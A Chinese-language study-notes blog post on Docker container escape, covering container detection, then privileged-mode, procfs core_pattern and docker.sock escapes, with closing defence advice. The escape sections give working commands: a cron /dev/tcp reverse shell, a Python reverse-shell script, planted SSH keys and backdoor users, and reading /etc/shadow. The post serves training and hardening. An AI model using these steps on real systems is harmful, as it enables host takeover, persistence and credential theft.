2026-08-08
云攻防
00
请注意,本文编写于 98 天前,最后修改于 97 天前,其中某些信息可能已经过时。

目录

一、前置知识:Docker到底是个啥?
1.1 用大白话讲Docker
1.2 Docker vs 虚拟机(VM)
1.3 两个核心隔离技术(简单了解)
二、前渗透:判断目标是不是Docker容器
2.1 没拿到权限时(黑盒阶段)
2.2 拿到权限后(白盒阶段)
方法1:检查 /.dockerenv 文件(最准)
方法2:查看 /proc/1/cgroup(也很准)
方法3:查看进程和端口(辅助判断)
方法4:在Docker容器中,进程ID通常为1,因为容器中的所有进程都是从PID 1开始的。通过检查当前进程的PID,可以判断是否处于Docker容器中。
三、后渗透:Docker容器逃逸
3.1 什么是容器逃逸?
3.2 逃逸方式一:特权模式逃逸
3.2.1 什么是特权模式?
3.2.2 如何判断是不是特权模式?
3.2.3 特权模式逃逸完整步骤
3.3 逃逸方式二:危险挂载之 Procfs 逃逸
3.3.1 什么是 Procfs?
3.3.2 什么情况下会存在这个漏洞?
3.3.3 Procfs 逃逸完整步骤
3.4 逃逸方式三:危险挂载之 Docker Socket 逃逸
3.4.1 什么是 Docker Socket?
3.4.2 什么情况下会存在这个漏洞?
3.4.3 Socket 逃逸完整步骤
四、权限高低对容器逃逸的影响
4.1 高权限场景(Java、Tomcat等)
4.2 低权限场景(PHP、Nginx等)
五、防御建议(了解对手才能更好防御)
5.1 对特权模式的防御
5.2 对危险挂载的防御
5.3 其他防御措施
六、总结脑图
七、实战练习建议

总结于小迪安全第95天学习:云原生Docker安全 & 容器逃逸,twiki

课程主题:云上攻防 — 云原生篇 & Docker安全 & 权限环境检测 & 容器逃逸 & 特权模式 & 危险挂载
先搞懂Docker是什么,如何判断自己在不在容器里,怎么逃逸。


一、前置知识:Docker到底是个啥?

1.1 用大白话讲Docker

想象你有一台电脑,上面装了Windows系统。现在你想跑一个网站,这个网站需要:

  • PHP 7.4
  • MySQL 5.7
  • Nginx 1.18
  • 还有各种扩展库...

你直接在Windows上装这些,可能会遇到各种版本冲突、环境不兼容的问题。这时候Docker出现了:

Docker就像一个"打包盒"。开发者把网站需要的所有环境(PHP、MySQL、Nginx等)全部打包成一个"镜像"(Image)。你拿到这个镜像,用Docker一运行,就自动创建出一个"容器"(Container),里面环境完全一致,直接就能跑网站。

类比理解:

概念类比
镜像 (Image)游戏安装包
容器 (Container)安装好的游戏进程
Dockerfile游戏安装说明书
仓库 (Registry)游戏下载平台(如Steam)

1.2 Docker vs 虚拟机(VM)

很多小白会把Docker和VMware虚拟机搞混,其实它们差别很大:

虚拟机架构: 硬件 → 宿主机OS → Hypervisor → 虚拟机OS → 应用 ↑ 每个VM都有完整OS,占资源大 Docker架构: 硬件 → 宿主机OS → Docker引擎 → 容器(共享宿主机内核)→ 应用 ↑ 容器没有独立OS,轻量快速

关键区别:

  • 虚拟机:每个虚拟机都有完整的操作系统(Windows/Linux),互相完全隔离,像几台独立的电脑。
  • Docker容器:所有容器共享宿主机的Linux内核,只是通过"Namespace"和"Cgroup"做隔离,像几个独立的"进程空间"。

对渗透测试的影响:如果你打进了一个Docker容器,拿到的是"容器内的权限",不是宿主机的权限。容器里的root用户,只是容器里的老大,出了容器啥也不是。所以你需要容器逃逸——从容器里"逃"到宿主机上。

1.3 两个核心隔离技术(简单了解)

Docker主要靠两个Linux技术实现隔离:

技术作用通俗解释
Namespace(命名空间)隔离视图让容器觉得自己在独立的世界里,看不到其他容器和宿主机的进程
Cgroup(控制组)限制资源限制这个容器最多能用多少CPU、内存,防止它把宿主机资源吃光

二、前渗透:判断目标是不是Docker容器

渗透测试分两个阶段:

  • 前渗透:还没拿到权限,通过各种信息判断目标特征
  • 后渗透:已经拿到权限,在目标机器上进一步操作

2.1 没拿到权限时(黑盒阶段)

这时候你只能通过外部扫描和观察来猜测:

线索1:端口特征

  • Docker容器常见的默认端口映射,比如把容器的80端口映射到宿主机的8080端口
  • 扫描到一些"非标准端口"提供服务,比如8080、8888、9000等

线索2:版本信息

  • Docker容器里的软件版本通常比较固定、稳定
  • 有时候响应头里会暴露线索,比如 Server: nginx/1.21.0 配合其他特征

线索3:服务指纹

  • 一些WAF或扫描器能识别出"Docker容器"的特征
  • 比如某些错误页面、特定的响应头

小白提示:黑盒阶段很难100%确定是不是Docker,更多是靠经验猜测。真正准确的判断,需要拿到权限后看内部文件。

2.2 拿到权限后(白盒阶段)

推荐文章https://mp.weixin.qq.com/s/48EG2zWIiLCOlKqsnL_CFg

一旦你拿到了目标服务器的命令执行权限(比如通过RCE、Webshell),就可以用以下方法判断:

判断推荐文章https://blog.csdn.net/qq_23936389/article/details/131486643

方法1:检查 /.dockerenv 文件(最准)

Docker容器启动时,会在根目录下创建一个隐藏文件 .dockerenv。

bash
ls -al /

图片.png 如果看到输出里有 .dockerenv,那99%是在Docker容器里:

drwxr-xr-x 1 root root 4096 Jan 1 00:00 . drwxr-xr-x 1 root root 4096 Jan 1 00:00 .. -rwxr-xr-x 1 root root 0 Jan 1 00:00 .dockerenv <-- 看到它就稳了 drwxr-xr-x 2 root root 4096 Jan 1 00:00 bin

方法2:查看 /proc/1/cgroup(也很准)

Linux的 /proc 目录是伪文件系统,记录着系统进程信息。/proc/1/cgroup 记录着1号进程(系统第一个进程)所在的控制组。

bash
cat /proc/1/cgroup

这个方法不一定会有,受到权限限制 图片.png 不同环境的输出特征:

  • Docker容器:
12:hugetlb:/docker/abc123def456... 11:blkio:/docker/abc123def456... 10:memory:/docker/abc123def456...

看到路径里有 /docker/ 字样。

  • K8s(Kubernetes)环境:
12:hugetlb:/kubepods/besteffort/pod-xxx/... 11:blkio:/kubepods/besteffort/pod-xxx/...

看到路径里有 /kubepods/ 字样。

  • 普通虚拟机/物理机:
12:hugetlb:/ 11:blkio:/ 10:memory:/

路径就是 /,没有docker或kubepods。

快速判断命令:

bash
cat /proc/1/cgroup | grep -qi docker && echo "是Docker容器" || echo "不是Docker容器"

方法3:查看进程和端口(辅助判断)

bash
# 看进程,容器里进程很少 ps aux # 看端口,容器里通常只有应用端口 netstat -anpt

图片.png 如果进程特别少(可能就几个),或者没有系统级服务(如sshd、systemd),那大概率是容器。

方法4:在Docker容器中,进程ID通常为1,因为容器中的所有进程都是从PID 1开始的。通过检查当前进程的PID,可以判断是否处于Docker容器中。

图片.png

等等


三、后渗透:Docker容器逃逸

3.1 什么是容器逃逸?

容器逃逸 = 你本来只控制了一个"小盒子"(Docker容器),通过各种手段,突破盒子的边界,拿到了"大房子"(宿主机)的控制权。

为什么要逃逸?

  • 容器里的权限是"假root",出了容器啥也干不了
  • 宿主机上可能有更多敏感数据、其他容器、内网资源
  • 很多CTF题目和实战场景,flag就在宿主机上

逃逸的分类:

  1. 基于危险配置:管理员配置不当,比如开了特权模式、挂载了危险目录
  2. 基于危险挂载:把宿主机的敏感文件/目录挂进了容器
  3. 基于Docker版本漏洞:Docker本身有CVE漏洞
  4. 基于内核漏洞:Linux内核有漏洞,容器和宿主机共享内核

今天课程主要讲前两种:特权模式逃逸 和 危险挂载逃逸。

3.2 逃逸方式一:特权模式逃逸

3.2.1 什么是特权模式?

正常情况下,Docker容器是"受限"的:

  • 不能访问宿主机的硬件设备
  • 不能修改系统级配置
  • 不能加载内核模块

但管理员有时候为了省事,启动容器时加了 --privileged 参数,这就是特权模式。

特权模式意味着:

  • 容器几乎拥有和宿主机一样的权限
  • 可以访问所有设备(/dev 下的所有东西)
  • 可以挂载文件系统
  • 可以修改内核参数

通俗比喻:普通容器像"监狱里的囚犯",特权容器像"监狱长",虽然也在监狱里,但有钥匙可以打开所有门。

这里通过特权启动一个容器

js
docker run --rm --privileged=true -it alpine

图片.png

3.2.2 如何判断是不是特权模式?

拿到容器shell后,执行:

bash
cat /proc/self/status | grep CapEff

看 CapEff(Effective Capability,有效权限掩码)的值:

  • 特权模式:CapEff: 0000003fffffffff 或 0000001fffffffff
  • 普通模式:值很小,比如 0000000000000000 或只有几个位

图片.png

bash
# 特权模式输出示例 CapEff: 0000003fffffffff CapPrm: 0000003fffffffff CapBnd: 0000003fffffffff

3.2.3 特权模式逃逸完整步骤

Step 1:确认在容器里

bash
ls -al / # 看到 .dockerenv,确认是容器 cat /proc/1/cgroup | grep docker # 确认是docker

Step 2:确认是特权模式

bash
cat /proc/self/status | grep CapEff # 看到 0000003fffffffff,确认特权模式

Step 3:查看宿主机磁盘设备

bash
fdisk -l

图片.png 输出示例:

Disk /dev/sda: 20 GiB, 21474836480 bytes Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 1050623 1048576 512M b W95 FAT32 /dev/sda2 1052671 419430399 418377729 199.5G 83 Linux

这里 /dev/sda2 是宿主机的主分区。

Step 4:挂载宿主机磁盘到容器

bash
# 创建挂载点 mkdir /test # 把宿主机磁盘挂载到容器的/test目录 mount /dev/sda2 /test 或者1步 mkdir /test && mount /dev/sda2 /test # 查看是否成功 ls /test

可以看到多出来一个test 图片.png 成功 图片.png

对比 图片.png 如果看到宿主机上的文件(如 bin, etc, home, root 等),说明挂载成功!

这里还有

js
方法二 --添加用户方法 mount /dev/sda1 /mnt chroot /mnt adduser john

Step 5:在宿主机上留后门(选一种方式)

方式A:写计划任务(Crontab)反弹Shell

bash
# 把反弹shell写入宿主机的root计划任务 echo '*/1 * * * * bash -c "bash -i >& /dev/tcp/你的IP/4444 0>&1"' >> /test/var/spool/cron/crontabs/root

然后在你的攻击机上监听:

bash
nc -lvvp 4444

等1分钟,宿主机会自动连接你,拿到的是宿主机的shell!

方式B:创建新用户登录

bash
# 切换到宿主机文件系统环境 chroot /test # 创建新用户 adduser hacker # 设置密码 passwd hacker

然后用SSH连接宿主机,用 hacker 用户登录,再提权。

方式C:直接写SSH公钥

bash
# 在宿主机root目录写入你的公钥 echo "ssh-rsa AAAA...你的公钥..." >> /test/root/.ssh/authorized_keys

然后直接SSH免密登录宿主机。


3.3 逃逸方式二:危险挂载之 Procfs 逃逸

3.3.1 什么是 Procfs?

/proc 是Linux的一个伪文件系统,它不在硬盘上,是内核实时生成的,记录着系统所有进程、内存、设备等状态信息。

为什么危险?

  • /proc 里有很多敏感文件,比如 /proc/sys/kernel/core_pattern
  • core_pattern 控制着程序崩溃时,系统怎么处理崩溃信息
  • 如果容器能修改宿主机的 core_pattern,就能让宿主机执行任意命令!

3.3.2 什么情况下会存在这个漏洞?

管理员启动容器时,把宿主机的 /proc 某个路径挂载到了容器里:

bash
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

-v 是挂载参数,把宿主机的 /proc/sys/kernel/core_pattern 挂到了容器的 /host/proc/sys/kernel/core_pattern。

3.3.3 Procfs 逃逸完整步骤

通过以下命令部署环境

js
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

图片.png Step 1:确认在容器里 (同上,用 /.dockerenv 或 cgroup 判断)

Step 2:检测是否挂载了宿主机的 procfs

bash
find / -name core_pattern

图片.png

正常情况下,容器里只有一个 /proc/sys/kernel/core_pattern。

如果找到两个:

  • /proc/sys/kernel/core_pattern(容器自己的)
  • /host/proc/sys/kernel/core_pattern(宿主机的,因为挂载了)

那就说明存在这个漏洞!

Step 3:找到容器在宿主机上的绝对路径

容器在宿主机上其实有一个对应的目录,我们需要找到它:

bash
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

图片.png 输出示例:

workdir=/var/lib/docker/overlay2/abc123.../work

注意:要把路径最后的 /work 改成 /merged,这才是容器真正的根目录在宿主机上的位置:

/var/lib/docker/overlay2/abc123.../merged

Step 4:准备反弹Shell脚本

在容器里创建一个Python反弹shell脚本: 或者安装vim和gcc

js
apt-get update -y && apt-get install vim gcc -y vim /tmp/.t.py
bash
cat > /tmp/.x.py << 'EOF' #!/usr/bin/python3 import os import pty import socket lhost = "你的VPS IP" lport = 4444 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") s.close() if __name__ == "__main__": main() EOF chmod +x /tmp/.x.py

在攻击机上接受shell

图片.png

在受害机上安装py3

bash
apt-get update && apt-get install -y python3

然后执行测试

bash
python3 -c "import socket; s=socket.socket(); s.connect(('192.168.1.8', 5555)); print('\350\277\236\351\200\232\357\274\201'); s.close()"

图片.png

Step 5:修改宿主机的 core_pattern

core_pattern 的格式是:当程序崩溃时,系统会执行这个模式里的命令,并把崩溃信息传给它。

我们把 core_pattern 改成执行我们的脚本:

bash
echo -e "|/var/lib/docker/overlay2/abc123.../merged/tmp/.x.py core" > /host/proc/sys/kernel/core_pattern
bash
这里是containerd(K8s底层用的容器运行时) echo -e "|/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/23/merged/tmp/.x.py \rcore" > /host/proc/sys/kernel/core_pattern cat /host/proc/sys/kernel/core_pattern

图片.png 注意:

  • 是回车符,必须有!
  • 路径要换成你Step 3找到的实际路径
  • core 是随便写的,满足格式要求

Step 6:准备一个会崩溃的程序

我们需要让宿主机上某个程序崩溃,触发 core_pattern 执行我们的脚本。

写一个C语言程序,制造空指针崩溃:

bash
cat > /tmp/x.c << 'EOF' #include <stdio.h> int main(void) { int *a = NULL; *a = 1; // 向空指针写数据,必然崩溃 return 0; } EOF # 编译 gcc /tmp/x.c -o /tmp/x

这里我缺少头文件,安装C 标准库头文件

bash
apt-get install -y libc6-dev

图片.png

实战提示:生产环境通常没有gcc,建议在本地编译好上传,或者直接用Python制造崩溃:

python
python3 -c "import os; os.kill(1, 11)" # 发送SIGSEGV信号

Step 7:触发崩溃,拿到宿主机Shell

在你的VPS上先开启监听:

bash
nc -lvvp 4444

然后在容器里执行崩溃程序:

bash
/tmp/x

程序崩溃后,宿主机的内核会处理崩溃,读取 core_pattern,执行我们写入的命令——也就是运行 /tmp/.x.py,反弹shell到我们的VPS。

此时你收到的shell,就是宿主机的shell,逃逸成功!

按道理这里就可以了,但是我这里试了好几个虚拟机,貌似都有问题,问了问ai说是Namespace 共享导致 core dump 行为异常,也就是kali的docker的默认行为被改过,故放弃


3.4 逃逸方式三:危险挂载之 Docker Socket 逃逸

3.4.1 什么是 Docker Socket?

Docker有一个守护进程(dockerd),它在后台管理所有容器。其他程序要和它通信,需要通过一个特殊的文件:

/var/run/docker.sock

这个文件就是 Docker Socket,相当于Docker的"遥控器"。谁拥有它,谁就能给Docker下达命令(创建容器、删除容器、查看信息等)。

3.4.2 什么情况下会存在这个漏洞?

管理员启动容器时,把Docker Socket挂进了容器:

bash
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu

有时候是为了方便,让容器里的程序也能操作Docker,但这非常危险!

3.4.3 Socket 逃逸完整步骤

进入环境

bash
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu docker exec -it with_docker_sock /bin/bash

图片.png

Step 1:确认在容器里 (同上)

Step 2:检测是否挂载了 Docker Socket

bash
ls -lah /var/run/docker.sock

如果存在这个文件,说明挂载了Socket:

srwxrwxrwx 1 root root 0 Jan 1 00:00 /var/run/docker.sock

Step 3:在容器里安装Docker客户端

容器里通常没有docker命令,需要安装:

bash
# 更新源 apt-get update # 安装curl apt-get install -y curl # 一键安装docker(只装客户端,不需要启动daemon) curl -fsSL https://get.docker.com/ | sh

这里同样也可以判断下是不是这种Socket 逃逸方式

bash
ls -lah /var/run/docker.sock

图片.png

实战提示:安装过程可能很慢,建议提前准备好docker二进制文件上传。

Step 4:利用Socket创建新容器,挂载宿主机根目录

既然我们能通过Socket操作Docker,就可以在容器里再创建一个新的容器,并且把宿主机的根目录 / 挂载进去:

bash
docker run -it -v /:/host ubuntu /bin/bash

解释:

  • docker run:创建并运行新容器
  • -v /:/host:把宿主机的根目录 / 挂载到新容器的 /host 目录
  • ubuntu:使用ubuntu镜像
  • /bin/bash:进入bash

执行后,你会进入一个新的容器,但在这个新容器里:

bash
ls /host

图片.png

或者在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录,

bash
chroot /host

图片.png 看到的就是宿主机的根目录!你可以直接读取 /host/etc/shadow、/host/root/.ssh/ 等敏感文件。

Step 5:在新容器里操作宿主机

bash
# 查看宿主机密码文件 cat /host/etc/shadow # 给宿主机root写SSH公钥 echo "ssh-rsa AAAA..." >> /host/root/.ssh/authorized_keys # 或者直接chroot到宿主机 chroot /host # 现在你就是宿主机的root了!

四、权限高低对容器逃逸的影响

不是每次拿到Webshell都能直接逃逸的,还要看你在容器里的权限:

4.1 高权限场景(Java、Tomcat等)

典型情况:

  • 通过Java反序列化、Tomcat弱口令、SpringBoot漏洞等拿到Shell
  • Java应用通常以root权限运行
  • 你拿到的直接就是容器内的 root权限

优势:

  • 可以直接执行所有逃逸操作
  • 可以安装工具、编译程序
  • 可以挂载磁盘、修改系统文件

4.2 低权限场景(PHP、Nginx等)

典型情况:

  • 通过PHP文件上传、SQL注入、文件包含等拿到WebShell
  • PHP-FPM或Nginx通常以 www-data 用户运行
  • 你拿到的只是 普通用户权限

限制:

  • 无法执行 fdisk -l(需要root)
  • 无法 mount 挂载磁盘
  • 无法修改 /proc/sys/kernel/core_pattern

解决思路:

  1. 先提权:在容器内寻找提权漏洞(SUID文件、内核漏洞、配置错误等)
  2. 拿到容器root后,再进行容器逃逸

小白总结:容器逃逸的前提是——你在容器里得有足够的权限。如果只是个"小弟"用户,先想办法在容器里当"老大",再考虑逃出容器。


五、防御建议(了解对手才能更好防御)

5.1 对特权模式的防御

不要滥用 --privileged:

bash
# 危险!别这么干 docker run --privileged -d myapp # 安全的做法:只给必要的权限 docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE -d myapp

最小权限原则:

  • 普通容器绝对不要开特权模式
  • 如果必须给某些权限,用 --cap-add 单独添加,而不是全开

5.2 对危险挂载的防御

禁止挂载敏感目录:

bash
# 极度危险! docker run -v /proc:/proc ... docker run -v /var/run/docker.sock:/var/run/docker.sock ... docker run -v /:/host ... # 安全的做法:只挂载必要的业务目录 docker run -v /app/data:/data ...

使用只读挂载:

bash
docker run -v /app/config:/config:ro ... # ro = read only

5.3 其他防御措施

措施说明
启用User Namespace让容器里的root映射到宿主机上的普通用户
使用Seccomp限制容器能使用的系统调用
使用AppArmor/SELinux强制访问控制,限制容器行为
及时更新Docker版本修复已知CVE漏洞
监控异常行为检测容器内的mount、fdisk等敏感操作

六、总结脑图

Docker容器逃逸 │ ├── 前置:判断是否在容器里 │ ├── 黑盒:端口、版本、指纹猜测 │ └── 白盒:/.dockerenv、/proc/1/cgroup │ ├── 逃逸方式一:特权模式 │ ├── 判断:CapEff == 0000003fffffffff │ ├── 查看磁盘:fdisk -l │ ├── 挂载磁盘:mount /dev/sdaX /test │ └── 留后门:crontab / chroot / SSH公钥 │ ├── 逃逸方式二:危险挂载-Procfs │ ├── 检测:find / -name core_pattern(找到两个) │ ├── 找路径:cat /proc/mounts | grep workdir │ ├── 写脚本:/tmp/.x.py(反弹shell) │ ├── 改core_pattern:指向脚本路径 │ └── 触发崩溃:执行C程序或发信号 │ ├── 逃逸方式三:危险挂载-Socket │ ├── 检测:ls /var/run/docker.sock │ ├── 装客户端:curl -fsSL https://get.docker.com/ | sh │ ├── 创建新容器:docker run -v /:/host │ └── 操作宿主机:chroot /host │ └── 权限影响 ├── 高权限(Java/root):直接逃逸 └── 低权限(PHP/www-data):先提权再逃逸

七、实战练习建议

  1. 本地搭建靶场:

    bash
    # 特权模式靶场 docker run --rm --privileged=true -it alpine # Procfs挂载靶场 docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu # Socket挂载靶场 docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
  2. 推荐工具:

    • CDK:容器渗透工具包,自动化检测和逃逸
    • Metarget:云原生安全漏洞靶场框架
  3. 参考资源:

    • T Wiki - Docker逃逸专题
    • 小迪安全课程配套靶场